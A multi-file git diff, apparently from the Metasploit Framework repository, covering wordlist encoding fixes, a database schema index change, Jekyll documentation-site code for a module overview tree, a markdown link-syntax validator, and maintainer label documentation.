recidivism
|
||||
recidivist
|
||||
@@ -65462,7 +65463,7 @@ repute
|
||||
reputed
|
||||
reputes
|
||||
reputing
|
||||
repêchage
|
||||
repêchage
|
||||
request
|
||||
requested
|
||||
requester
|
||||
@@ -66490,7 +66491,7 @@ risorgimento
|
||||
risotto
|
||||
rispark
|
||||
risque
|
||||
risqué
|
||||
risqué
|
||||
rissole
|
||||
rita
|
||||
ritalin
|
||||
@@ -67101,7 +67102,7 @@ rostropovich
|
||||
rostrum
|
||||
roswell
|
||||
rosy
|
||||
rosé
|
||||
rosé
|
||||
rot
|
||||
rot-gut
|
||||
rota
|
||||
@@ -67211,8 +67212,8 @@ routinize
|
||||
rouvin
|
||||
roux
|
||||
rouxville
|
||||
roué
|
||||
roués
|
||||
roué
|
||||
roués
|
||||
rove
|
||||
rover
|
||||
roving
|
||||
@@ -67604,13 +67605,13 @@ ryon
|
||||
rysmierbult
|
||||
ryukyu
|
||||
ryun
|
||||
régime
|
||||
régimes
|
||||
résumé
|
||||
résumés
|
||||
réunion
|
||||
rôle
|
||||
rôles
|
||||
régime
|
||||
régimes
|
||||
résumé
|
||||
résumés
|
||||
réunion
|
||||
rôle
|
||||
rôles
|
||||
s
|
||||
sa
|
||||
saa
|
||||
@@ -68354,10 +68355,10 @@ saussure
|
||||
saute
|
||||
sauterne
|
||||
sauternes
|
||||
sauté
|
||||
sautéed
|
||||
sautéing
|
||||
sautés
|
||||
sauté
|
||||
sautéed
|
||||
sautéing
|
||||
sautés
|
||||
sauveur
|
||||
savable
|
||||
savage
|
||||
@@ -68721,7 +68722,7 @@ schrod
|
||||
schrodinger
|
||||
schroeder
|
||||
schroedinger
|
||||
schrödinger
|
||||
schrödinger
|
||||
schtick
|
||||
schubert
|
||||
schuinshoogte
|
||||
@@ -70196,12 +70197,12 @@ seychelles
|
||||
seyfert
|
||||
seymour
|
||||
sezela
|
||||
señor
|
||||
señora
|
||||
señoras
|
||||
señores
|
||||
señorita
|
||||
señoritas
|
||||
señor
|
||||
señora
|
||||
señoras
|
||||
señores
|
||||
señorita
|
||||
señoritas
|
||||
sf
|
||||
sforzandi
|
||||
sforzando
|
||||
@@ -72452,7 +72453,7 @@ smutting
|
||||
smutty
|
||||
smyrna
|
||||
smythesdale
|
||||
smörgåsbord
|
||||
smörgåsbord
|
||||
sn
|
||||
snaaks
|
||||
snack
|
||||
@@ -72823,13 +72824,13 @@ soi
|
||||
soi-disant
|
||||
soigne
|
||||
soignee
|
||||
soigné
|
||||
soigné
|
||||
soil
|
||||
soiled
|
||||
soiling
|
||||
soiree
|
||||
soirée
|
||||
soirées
|
||||
soirée
|
||||
soirées
|
||||
sojourn
|
||||
sojourner
|
||||
sojourning
|
||||
@@ -73126,8 +73127,8 @@ sottish
|
||||
sou
|
||||
soubriquet
|
||||
souffle
|
||||
soufflé
|
||||
soufflés
|
||||
soufflé
|
||||
soufflés
|
||||
sough
|
||||
soughing
|
||||
soughs
|
||||
@@ -73161,8 +73162,8 @@ soup
|
||||
soupcon
|
||||
souphanouvong
|
||||
soupy
|
||||
soupçon
|
||||
soupçons
|
||||
soupçon
|
||||
soupçons
|
||||
sour
|
||||
source
|
||||
sourced
|
||||
@@ -76890,9 +76891,9 @@ szechuan
|
||||
szechwan
|
||||
szilard
|
||||
szymborska
|
||||
são
|
||||
séance
|
||||
séances
|
||||
são
|
||||
séance
|
||||
séances
|
||||
t
|
||||
t-bone
|
||||
t-junction
|
||||
@@ -77263,7 +77264,7 @@ tannery
|
||||
tannest
|
||||
tanney
|
||||
tannhauser
|
||||
tannhäuser
|
||||
tannhäuser
|
||||
tannie
|
||||
tannin
|
||||
tanning
|
||||
@@ -78405,7 +78406,7 @@ thespis
|
||||
thessalonian
|
||||
thessalonians
|
||||
thessaloniki
|
||||
thessaloníki
|
||||
thessaloníki
|
||||
thessaly
|
||||
theta
|
||||
theunissen
|
||||
@@ -79406,7 +79407,7 @@ tomorrow
|
||||
tompkins
|
||||
tomsk
|
||||
tomtit
|
||||
tomé
|
||||
tomé
|
||||
ton
|
||||
tonal
|
||||
tonality
|
||||
@@ -79700,7 +79701,7 @@ touchstone
|
||||
touchwood
|
||||
touchy
|
||||
touchy-feely
|
||||
touché
|
||||
touché
|
||||
tough
|
||||
tough-minded
|
||||
toughen
|
||||
@@ -81328,10 +81329,10 @@ tzarist
|
||||
tzatziki
|
||||
tzeltal
|
||||
tzigane
|
||||
tête
|
||||
tête-bêche
|
||||
tête-à-tête
|
||||
tórshavn
|
||||
tête
|
||||
tête-bêche
|
||||
tête-à-tête
|
||||
tórshavn
|
||||
u
|
||||
uar
|
||||
uart
|
||||
@@ -83891,7 +83892,7 @@ valvoline
|
||||
valvular
|
||||
valvules
|
||||
valyland
|
||||
valéry
|
||||
valéry
|
||||
vamoose
|
||||
vamp
|
||||
vamped
|
||||
@@ -84138,8 +84139,8 @@ velvet
|
||||
velveted
|
||||
velveteen
|
||||
velvety
|
||||
velásquez
|
||||
velázquez
|
||||
velásquez
|
||||
velázquez
|
||||
venables
|
||||
venal
|
||||
venality
|
||||
@@ -84508,8 +84509,8 @@ victualer
|
||||
victualler
|
||||
victualling
|
||||
vicuna
|
||||
vicuña
|
||||
vicuñas
|
||||
vicuña
|
||||
vicuñas
|
||||
vida
|
||||
vidal
|
||||
vide
|
||||
@@ -84711,7 +84712,7 @@ virulence
|
||||
virulent
|
||||
virus
|
||||
vis
|
||||
vis-à-vis
|
||||
vis-à-vis
|
||||
visa
|
||||
visage
|
||||
visagiepark
|
||||
@@ -84938,13 +84939,13 @@ voidness
|
||||
voids
|
||||
voila
|
||||
voile
|
||||
voilà
|
||||
voilà
|
||||
voip
|
||||
vol
|
||||
vol-au-vent
|
||||
vol.
|
||||
volapuk
|
||||
volapük
|
||||
volapük
|
||||
volar
|
||||
volatile
|
||||
volatileness
|
||||
@@ -87786,7 +87787,7 @@ yankton
|
||||
yao
|
||||
yaobang
|
||||
yaounde
|
||||
yaoundé
|
||||
yaoundé
|
||||
yap
|
||||
yapped
|
||||
yapping
|
||||
@@ -88383,15 +88384,15 @@ zymurgy
|
||||
zyrtec
|
||||
zyuganov
|
||||
zzz
|
||||
zürich
|
||||
Ågar
|
||||
Ångström
|
||||
éclair
|
||||
éclairs
|
||||
éclat
|
||||
élan
|
||||
émigré
|
||||
émigrés
|
||||
épée
|
||||
étude
|
||||
zürich
|
||||
Ågar
|
||||
Ångström
|
||||
éclair
|
||||
éclairs
|
||||
éclat
|
||||
élan
|
||||
émigré
|
||||
émigrés
|
||||
épée
|
||||
étude
|
||||
vagrant
|
||||
|
||||
+3222
-945
File diff suppressed because it is too large
Load Diff
+3
-2
@@ -10,7 +10,7 @@
|
||||
#
|
||||
# It's strongly recommended that you check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
|
||||
ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
|
||||
# These are extensions that must be enabled in order to support this database
|
||||
enable_extension "plpgsql"
|
||||
|
||||
@@ -314,8 +314,9 @@ ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
|
||||
t.datetime "created_at", precision: nil, null: false
|
||||
t.datetime "updated_at", precision: nil, null: false
|
||||
t.string "jtr_format"
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
|
||||
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
|
||||
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
|
||||
end
|
||||
|
||||
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
|
||||
|
||||
@@ -1,29 +1,2 @@
|
||||
<style>
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
<link rel="stylesheet" href="{% link assets/css/main.css %}">
|
||||
|
||||
.language-mermaid .label {
|
||||
text-transform: inherit;
|
||||
}
|
||||
|
||||
.language-msf .zp {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.language-msf .ze {
|
||||
color: #960050;
|
||||
}
|
||||
|
||||
.language-msf .zg {
|
||||
color: #859900;
|
||||
}
|
||||
|
||||
.language-msf .zs {
|
||||
color: #268bd2;
|
||||
}
|
||||
|
||||
.language-msf .zw {
|
||||
color: orange;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
// Handle opening/closing module overview list items
|
||||
jtd.onReady(function(ready) {
|
||||
var forEach = function (list, callback) {
|
||||
for (var i = 0; i < list.length; i++) {
|
||||
callback(list[i])
|
||||
}
|
||||
};
|
||||
|
||||
// Bind listeners for expand all / collapse all functionality
|
||||
var bindToggleAll = function (selector, options) {
|
||||
var isOpen = options.open;
|
||||
var expandAllButtons = document.querySelectorAll(selector);
|
||||
forEach(expandAllButtons, function (button) {
|
||||
jtd.addEvent(button, 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var moduleList = originalTarget.closest('.module-list');
|
||||
forEach(moduleList.querySelectorAll('.folder > ul'), function (list) {
|
||||
if (isOpen) {
|
||||
list.classList.add('open');
|
||||
} else {
|
||||
list.classList.remove('open');
|
||||
}
|
||||
})
|
||||
|
||||
e.preventDefault();
|
||||
});
|
||||
});
|
||||
};
|
||||
bindToggleAll('.module-list [data-expand-all]', { open: true })
|
||||
bindToggleAll('.module-list [data-collapse-all]', { open: false })
|
||||
|
||||
// Bind listeners for collapsing module navigation items
|
||||
var moduleStructureElements = document.querySelectorAll('.module-structure');
|
||||
forEach(moduleStructureElements, function (moduleStructure) {
|
||||
jtd.addEvent(moduleStructure, 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var parentListItem = originalTarget.closest('li');
|
||||
if (parentListItem.className.indexOf('folder') === -1) { return; }
|
||||
|
||||
toggleChildModuleList(parentListItem)
|
||||
e.preventDefault();
|
||||
});
|
||||
})
|
||||
|
||||
var toggleChildModuleList = function (parent) {
|
||||
var list = parent.querySelector('ul');
|
||||
if (!list) {
|
||||
return;
|
||||
}
|
||||
list.classList.toggle('open');
|
||||
// Recursively automatically open any nested lists of size 1
|
||||
if (list.children.length === 1) {
|
||||
toggleChildModuleList(list.children[0])
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,159 @@
|
||||
require 'jekyll'
|
||||
require 'json'
|
||||
require 'pathname'
|
||||
|
||||
#
|
||||
# Helper class for extracting information related to Metasploit framework's stats
|
||||
#
|
||||
class MetasploitStats
|
||||
def total_module_count
|
||||
modules.length
|
||||
end
|
||||
|
||||
# @return [Hash<String, Integer>] A map of module type to the amount of modules
|
||||
def module_counts
|
||||
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
|
||||
module_counts_by_type
|
||||
end
|
||||
|
||||
# @return [Array<Hash<String, Hash>>] A nested array of module metadata, containing at least the keys :name, :total, :children
|
||||
def nested_module_counts
|
||||
create_nested_module_counts(modules)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @param [Array<Hash>] modules
|
||||
# @param [String] parent_path The parent path to track the nesting depth when called recursively
|
||||
# i.e. auxiliary, then auxiliary/admin, then auxiliary/admin/foo, etc
|
||||
def create_nested_module_counts(modules, parent_path = '')
|
||||
# Group the modules by their prefix, i.e. auxiliary/payload/encoder/etc
|
||||
top_level_buckets = modules.select { |mod| mod['fullname'].start_with?(parent_path) }.group_by do |mod|
|
||||
remaining_paths = mod['fullname'].gsub(parent_path.empty? ? '' : %r{^#{parent_path}/}, '').split('/')
|
||||
remaining_paths[0]
|
||||
end.sort.to_h
|
||||
|
||||
top_level_buckets.map do |(prefix, children)|
|
||||
current_path = parent_path.empty? ? prefix : "#{parent_path}/#{prefix}"
|
||||
mod = modules_by_fullname[current_path]
|
||||
{
|
||||
name: prefix,
|
||||
total: children.count,
|
||||
module_fullname: mod ? mod['fullname'] : nil,
|
||||
module_path: mod ? mod['path'] : nil,
|
||||
children: mod.nil? ? create_nested_module_counts(children, current_path) : []
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Hash>] An array of Hashes containing each Metasploit module's metadata
|
||||
def modules
|
||||
return @modules if @modules
|
||||
|
||||
module_metadata_path = '../db/modules_metadata_base.json'
|
||||
unless File.exist?(module_metadata_path)
|
||||
raise "Unable to find Metasploit module data, expected it to be at #{module_metadata_path}"
|
||||
end
|
||||
|
||||
@modules = JSON.parse(File.binread(module_metadata_path)).values
|
||||
@modules
|
||||
end
|
||||
|
||||
# @return [Hash<String, Hash>] A mapping of module name to Metasploit module metadata
|
||||
def modules_by_fullname
|
||||
@modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|
|
||||
fullname = mod['fullname']
|
||||
hash[fullname] = mod
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Custom liquid filter implementation for visualizing nested Metasploit module metadata
|
||||
#
|
||||
# Intended usage:
|
||||
# {{ site.metasploit_nested_module_counts | module_tree }}
|
||||
module ModuleFilter
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The module tree HTML representation of the given modules
|
||||
def module_tree(modules, title = 'Modules', show_controls = false)
|
||||
rendered_children = render_modules(modules)
|
||||
controls = <<~EOF
|
||||
<div class="module-controls">
|
||||
<span><a href="#" data-expand-all>Expand All</a></span>
|
||||
<span><a href="#" data-collapse-all>Collapse All</a></span>
|
||||
</div>
|
||||
EOF
|
||||
|
||||
<<~EOF
|
||||
<div class="module-list">
|
||||
#{show_controls ? controls : ''}
|
||||
|
||||
<ul class="module-structure">
|
||||
<li class="folder"><a href=\"#\"><div class=\"target\">#{title}</div></a>
|
||||
<ul class="open">
|
||||
#{rendered_children}
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
EOF
|
||||
end
|
||||
|
||||
module_function
|
||||
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The rendered tree HTML representation of the given modules
|
||||
def render_modules(modules)
|
||||
modules.map do |mod|
|
||||
classes = render_child_modules?(mod) ? ' class="folder"' : ''
|
||||
result = "<li#{classes}>#{heading_for_mod(mod)}"
|
||||
if render_child_modules?(mod)
|
||||
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
|
||||
end
|
||||
result += "</li>"
|
||||
result
|
||||
end.join("\n")
|
||||
end
|
||||
|
||||
# @param [Hash] mod The module metadata object
|
||||
# @return [String] Human readable string for a module list such as `- <a>Auxiliary (1234)</a>` or `- Other (50)`
|
||||
def heading_for_mod(mod)
|
||||
if render_child_modules?(mod)
|
||||
"<a href=\"#\"><div class=\"target\">#{mod[:name]} (#{mod[:total]})</div></a>"
|
||||
else
|
||||
config = Jekyll.sites.first.config
|
||||
# Preference linking to module documentation over the module implementation
|
||||
module_docs_path = Pathname.new("documentation").join(mod[:module_path].gsub(/^\//, '')).sub_ext(".md")
|
||||
link_path = File.exist?(File.join('..', module_docs_path)) ? "/#{module_docs_path}" : mod[:module_path]
|
||||
docs_link = "#{config['gh_edit_repository']}/#{config['gh_edit_view_mode']}/#{config['gh_edit_branch']}#{link_path}"
|
||||
"<a href=\"#{docs_link}\" target=\"_blank\"><div class=\"target\">#{mod[:module_fullname]}</div></a>"
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Hash] mod The module metadata object
|
||||
# @return [TrueClass, FalseClass]
|
||||
def render_child_modules?(mod)
|
||||
mod[:children].length >= 1 && mod[:module_path].nil?
|
||||
end
|
||||
end
|
||||
|
||||
# Register the Liquid filter so any Jekyll page can render module information
|
||||
Liquid::Template.register_filter(ModuleFilter)
|
||||
|
||||
# Register the site initialization hook to populate global site information so any Jekyll page can access Metasploit stats information
|
||||
Jekyll::Hooks.register :site, :after_init do |site|
|
||||
begin
|
||||
Jekyll.logger.info 'Calculating module stats'
|
||||
|
||||
metasploit_stats = MetasploitStats.new
|
||||
|
||||
site.config['metasploit_total_module_count'] = metasploit_stats.total_module_count
|
||||
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
|
||||
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
|
||||
|
||||
Jekyll.logger.info 'Finished calculating module stats'
|
||||
rescue
|
||||
Jekyll.logger.error "Unable to to extractMetasploit stats"
|
||||
raise
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,133 @@
|
||||
---
|
||||
---
|
||||
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
/* Color highlighting for msf console text */
|
||||
.language-mermaid .label {
|
||||
text-transform: inherit;
|
||||
}
|
||||
|
||||
.language-msf .zp {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.language-msf .ze {
|
||||
color: #960050;
|
||||
}
|
||||
|
||||
.language-msf .zg {
|
||||
color: #859900;
|
||||
}
|
||||
|
||||
.language-msf .zs {
|
||||
color: #268bd2;
|
||||
}
|
||||
|
||||
.language-msf .zw {
|
||||
color: orange;
|
||||
}
|
||||
|
||||
/* Module overview styles */
|
||||
|
||||
.module-structure li::before {
|
||||
content: ' ' !important;
|
||||
}
|
||||
|
||||
.module-structure a {
|
||||
height: 100%;
|
||||
padding: 0.2rem;
|
||||
background-image: none;
|
||||
overflow: initial;
|
||||
display: inline-block;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.module-controls {
|
||||
line-height: 0;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}
|
||||
|
||||
.module-controls a {
|
||||
line-height: 1;
|
||||
padding: 0.5rem;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.module-controls span {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.module-structure a, .module-structure a:hover {
|
||||
background-image: none;
|
||||
}
|
||||
|
||||
.module-structure a .target {
|
||||
pointer-events: none;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.module-structure a:hover .target {
|
||||
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
|
||||
background-repeat: repeat-x;
|
||||
background-position: 0 100%;
|
||||
background-size: 1px 1px;
|
||||
}
|
||||
|
||||
.module-structure {
|
||||
line-height: 2rem;
|
||||
}
|
||||
|
||||
/* visual indentation lines */
|
||||
.module-structure ul {
|
||||
margin-left: 7px !important;
|
||||
padding-left: 20px !important;
|
||||
border-left: 1px dashed #d1d7de;
|
||||
}
|
||||
|
||||
/* Never allow the top-most files/folders to be collapsed */
|
||||
.module-structure > li.folder > ul {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.module-structure li p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.module-structure li {
|
||||
margin: 0;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.module-structure ul {
|
||||
display: none;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.module-structure ul.open {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* Default li style - files */
|
||||
.module-structure li::before {
|
||||
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z'/></svg>");
|
||||
background-repeat: no-repeat;
|
||||
width: 1rem;
|
||||
height: 1rem;
|
||||
background-position: center top;
|
||||
background-size: 90% auto;
|
||||
margin-top: 0;
|
||||
vertical-align: middle;
|
||||
margin-left: initial !important;
|
||||
margin-right: 0.5rem !important;
|
||||
display: inline-block !important;
|
||||
position: initial !important;
|
||||
}
|
||||
|
||||
/* li style - folders */
|
||||
.module-structure li.folder::before {
|
||||
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z'/></svg>");
|
||||
}
|
||||
+76
-67
@@ -3,13 +3,14 @@ require 'uri'
|
||||
require 'open3'
|
||||
require 'optparse'
|
||||
require 'did_you_mean'
|
||||
require 'kramdown'
|
||||
require_relative './navigation'
|
||||
|
||||
# This build module was used to migrate the old Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
|
||||
# supported by Jekyll. Jekyll was chosen as it was written in Ruby, which should reduce the barrier to entry for contributions.
|
||||
#
|
||||
# The build script took the flatlist of markdown files from the wiki, and converted them into the hierarchical folder structure
|
||||
# for nested documentation. This configuration is defiend in `navigation.rb`
|
||||
# for nested documentation. This configuration is defined in `navigation.rb`
|
||||
#
|
||||
# In the future a different site generator could be used, but it should be possible to use this build script again to migrate to a new format
|
||||
#
|
||||
@@ -158,6 +159,10 @@ module Build
|
||||
@links = {}
|
||||
end
|
||||
|
||||
def syntax_errors_for(markdown)
|
||||
MarkdownLinkSyntaxVerifier.errors_for(markdown)
|
||||
end
|
||||
|
||||
def extract(markdown)
|
||||
extracted_absolute_wiki_links = extract_absolute_wiki_links(markdown)
|
||||
@links = @links.merge(extracted_absolute_wiki_links)
|
||||
@@ -176,7 +181,7 @@ module Build
|
||||
new_markdown.gsub!(link[:full_match], link[:replacement])
|
||||
end
|
||||
|
||||
fix_github_username_links(new_markdown)
|
||||
new_markdown
|
||||
end
|
||||
|
||||
attr_reader :links
|
||||
@@ -295,74 +300,66 @@ module Build
|
||||
|
||||
matched_pages.first.fetch(:new_path)
|
||||
end
|
||||
end
|
||||
|
||||
def fix_github_username_links(content)
|
||||
known_github_names = [
|
||||
'@0a2940',
|
||||
'@ChrisTuncer',
|
||||
'@TomSellers',
|
||||
'@asoto-r7',
|
||||
'@busterb',
|
||||
'@bwatters-r7',
|
||||
'@jbarnett-r7',
|
||||
'@jlee-r7',
|
||||
'@jmartin-r7',
|
||||
'@mcfakepants',
|
||||
'@Op3n4M3',
|
||||
'@gwillcox-r7',
|
||||
'@red0xff',
|
||||
'@mkienow-r7',
|
||||
'@pbarry-r7',
|
||||
'@schierlm',
|
||||
'@timwr',
|
||||
'@zerosteiner',
|
||||
'@zeroSteiner',
|
||||
'@harmj0y',
|
||||
]
|
||||
# These tags look like Github/Twitter handles, but are actually ruby/java code snippets
|
||||
ignored_tags = [
|
||||
'@spid',
|
||||
'@adf3',
|
||||
'@LDAP-DC3',
|
||||
'@harmj0yDescription',
|
||||
'@phpsessid',
|
||||
'@http_client',
|
||||
'@abstract',
|
||||
'@accepts_all_logins',
|
||||
'@addresses',
|
||||
'@aliases',
|
||||
'@channel',
|
||||
'@client',
|
||||
'@dep',
|
||||
'@handle',
|
||||
'@instance',
|
||||
'@param',
|
||||
'@pid',
|
||||
'@process',
|
||||
'@return',
|
||||
'@scanner',
|
||||
'@yieldparam',
|
||||
'@yieldreturn',
|
||||
'@compressed',
|
||||
'@content',
|
||||
'@path',
|
||||
'@sha1',
|
||||
'@type',
|
||||
'@git_repo_uri',
|
||||
'@git_addr',
|
||||
'@git_objs',
|
||||
'@refs',
|
||||
]
|
||||
# Verifies that markdown links are not relative. Instead the Github wiki flavored syntax should be used.
|
||||
#
|
||||
# Example bad: `[Human readable text](./some-documentation-link)`
|
||||
# Example good: `[[Human readable text|./some-documentation-link]]`
|
||||
class MarkdownLinkSyntaxVerifier
|
||||
# Detects the usage of bad syntax and returns an array of detected errors
|
||||
#
|
||||
# @param [String] markdown The markdown
|
||||
# @return [Array<String>] An array of human readable errors that should be resolved
|
||||
def self.errors_for(markdown)
|
||||
document = Kramdown::Document.new(markdown)
|
||||
document.to_validated_wiki_page
|
||||
warnings = document.warnings.select { |warning| warning.start_with?(Kramdown::Converter::ValidatedWikiPage::WARNING_PREFIX) }
|
||||
warnings
|
||||
end
|
||||
|
||||
# Replace any dangling github usernames, i.e. `@foo` - but not `[@foo](http://...)` or `email@example.com`
|
||||
content.gsub(/(?<![\[|\w])@[\w-]+/) do |username|
|
||||
if known_github_names.include? username
|
||||
"[#{username}](https://www.github.com/#{username.gsub('@', '')})"
|
||||
elsif ignored_tags.include? username
|
||||
username
|
||||
else
|
||||
raise "Unexpected username: '#{username}'"
|
||||
# Implementation detail: There doesn't seem to be a generic AST visitor pattern library for Ruby; We instead implement
|
||||
# Kramdown's Markdown to HTML Converter API, override the link converter method, and warn on any invalid links that are identified.
|
||||
# The {MarkdownLinkVerifier} will ignore the HTML result, and return any detected errors instead.
|
||||
#
|
||||
# https://kramdown.gettalong.org/rdoc/Kramdown/Converter/Html.html
|
||||
class Kramdown::Converter::ValidatedWikiPage < Kramdown::Converter::Html
|
||||
WARNING_PREFIX = '[WikiLinkValidation]'
|
||||
|
||||
def convert_a(el, indent)
|
||||
link_href = el.attr['href']
|
||||
if relative_link?(link_href)
|
||||
link_text = el.children.map { |child| convert(child) }.join
|
||||
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid relative link #{link_href} found. Please use the syntax [[#{link_text}|#{link_href}]] instead"
|
||||
end
|
||||
|
||||
if absolute_docs_link?(link_href)
|
||||
begin
|
||||
example_path = ".#{URI.parse(link_href).path}"
|
||||
rescue URI::InvalidURIError
|
||||
example_path = "./path-to-markdown-file"
|
||||
end
|
||||
|
||||
link_text = el.children.map { |child| convert(child) }.join
|
||||
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid absolute link #{link_href} found. Please use relative links instead, i.e. [[#{link_text}|#{example_path}]] instead"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def warning(text)
|
||||
super "#{WARNING_PREFIX} #{text}"
|
||||
end
|
||||
|
||||
def relative_link?(link_path)
|
||||
!(link_path.start_with?('http:') || link_path.start_with?('https:') || link_path.start_with?('mailto:') || link_path.start_with?('#'))
|
||||
end
|
||||
|
||||
# @return [TrueClass, FalseClass] True if the link is to a Metasploit docs page that isn't either the root home page or the API site, otherwise false
|
||||
def absolute_docs_link?(link_path)
|
||||
link_path.include?('docs.metasploit.com') && !link_path.include?('docs.metasploit.com/api') && !(link_path == 'https://docs.metasploit.com/')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -461,13 +458,25 @@ module Build
|
||||
|
||||
def link_corrector_for(config)
|
||||
link_corrector = LinkCorrector.new(config)
|
||||
errors = []
|
||||
config.each do |page|
|
||||
unless page[:path].nil?
|
||||
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
|
||||
syntax_errors = link_corrector.syntax_errors_for(content)
|
||||
errors << { path: page[:path], messages: syntax_errors } if syntax_errors.any?
|
||||
|
||||
link_corrector.extract(content)
|
||||
end
|
||||
end
|
||||
|
||||
if errors.any?
|
||||
errors.each do |error|
|
||||
$stderr.puts "[!] Error #{File.join(WIKI_PATH, error[:path])}:\n#{error[:messages].map { |message| "\t- #{message}\n" }.join}"
|
||||
end
|
||||
|
||||
raise "Errors found in markdown syntax"
|
||||
end
|
||||
|
||||
link_corrector
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,17 +1,41 @@
|
||||
Maintainers can assign labels to both issues and pull requests.
|
||||
|
||||
### Attic
|
||||
|
||||
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
|
||||
|
||||
### Bug
|
||||
|
||||
Any PR that fixes a bug or an issue that raises awareness of a bug in the framework.
|
||||
|
||||
### Breaking Change
|
||||
|
||||
Features that are great, but will cause breaking changes and should be deployed on a large release.
|
||||
|
||||
### Code Quality
|
||||
|
||||
When a PR improves code quality.
|
||||
|
||||
### Confirmed
|
||||
|
||||
Specifically for issues that have been confirmed by a committer.
|
||||
|
||||
### Docs
|
||||
|
||||
Documentation changes, such as YARD markup, or README.md, or something along those lines.
|
||||
|
||||
### External
|
||||
### External Modules
|
||||
|
||||
Touches something in /external, or the Gemfile, or something like that.
|
||||
PRs dealing with modules run as their own process.
|
||||
|
||||
### Heartbleed
|
||||
|
||||
Has to do with heartbleed. This will go away soon, but there are three outstanding still...
|
||||
|
||||
### Hotness
|
||||
|
||||
Something we're really excited about.
|
||||
|
||||
### Library
|
||||
|
||||
Touches something in /lib.
|
||||
@@ -26,20 +50,20 @@ Plugins and scripts, anything that's not otherwise defined.
|
||||
|
||||
### Module
|
||||
|
||||
Touches something in /modules
|
||||
Touches something in /modules.
|
||||
|
||||
### Specs
|
||||
### Needs Linting
|
||||
|
||||
Has specs (an rspec test)
|
||||
